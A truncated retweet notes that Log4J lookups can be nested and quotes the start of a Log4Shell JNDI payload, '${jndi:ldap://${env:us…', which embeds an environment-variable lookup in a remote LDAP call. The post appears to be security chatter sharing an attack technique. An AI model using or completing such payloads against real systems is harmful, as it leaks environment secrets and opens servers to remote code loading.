RT @StaticFlow: In case anyone hasn’t discovered this. The Log4J formatting is nestable which means payloads like ${jndi:ldap://${env:us…